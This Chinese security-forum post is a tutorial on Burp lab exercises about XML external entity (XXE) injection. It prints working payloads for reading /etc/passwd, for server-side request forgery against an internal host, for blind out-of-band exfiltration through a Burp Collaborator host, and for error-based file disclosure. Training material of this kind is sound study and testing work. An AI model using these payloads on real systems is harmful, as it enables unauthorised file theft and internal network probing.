安全矩阵

用户名  找回密码
 立即注册
帖子
查看: 2981|回复: 0

burp练兵场之xxe

[复制链接]

180

主题

231

帖子

1180

积分

金牌会员

Rank: 6Rank: 6

积分
1180
发表于 2021-10-18 15:51:28 | 显示全部楼层 |阅读模式
原文链接:burp练兵场之xxe

0x00 什么是xxe
xml外部实体注入漏洞允许攻击者介入应用程序处理xml数据的过程。利用该漏洞,经常可以查看服务器文件系统的文件,与后端或者应用可以获取的其他系统产生交互。


0x01 xxe漏洞如何产生的
一些软件使用xml格式用于浏览器和服务器传递数据。在服务器上应用使用标准的库或者平台api处理xml数据。由于xml特定形式包含多种潜在的危险特性,xxe漏洞因此产生,并且标准格式器支持这些特性即使他们没有被应用使用。
0x02 xxe攻击的漏洞类型
  • 利用获取文件 外部实体包含文件内容的的定义,并且内容在响应数据包中返回。
  • 执行ssrf探测 定义了包含对后端系统探测url的外部实体

  • 利用xxe盲打外带漏出数据
  • 利用xxe盲打获取报错信息中数据

0x03 利用xxe漏洞检索文件
利用xxe漏洞来检索服务器上的任意文件,可以修改为两种格式的数据并提交:
  • 使用doctype元素定义一个包含文件路径的外部实体
  • 编辑xml数据,利用定义好的外部实体,返回应用的响应

举例来说,假设购物应用通过提交的如下数据检查商品的等级:
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <stockCheck><productId>381</productId></stockCheck>
复制代码
应用没有采取针对xxe漏洞典型的防御手段,因此可以提交如下载荷,获取任意文件内容:
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
  3. <stockCheck><productId>&xxe;</productId></stockCheck>
复制代码
将会返回/etc/passwd文件内容

在真实漏洞环境中,需要测试xml文件的每一个节点,验证是否存在漏洞。
0x04 实验1
直接构造payload,文件检索类型,获取敏感数据。
0x05 实验2  
本实验利用xxe执行ssrf攻击
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>
通过迭代,按照步骤获取到内部key

0x06 xxe盲打利用


一些情况下,应用使用正则表达式过滤了部分写法。需要使用xml参数形式来绕过。
首先在xml中使用%,来声明使用参数形式。
<!ENTITY % myparameterentity "my parameter entity value" >
然后使用%来调用。
%myparameterentity;
最终构造payload
  1. <!DOCTYPE fo [<!ENTITY % foo  SYSTEM "http://nsjgs61d2z6nk7boxcgzujva117tvi.burpcollaborator.net/" >%foo;]>
复制代码

通过xxe,参数的形式带出了/etc/hostname的文件内容。
基本手法一致,具体payload
  1. <!ENTITY % file SYSTEM "file:///etc/passwd">
  2. <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
  3. %eval;
  4. %error;
复制代码





本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-5-7 13:33 , Processed in 0.016489 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表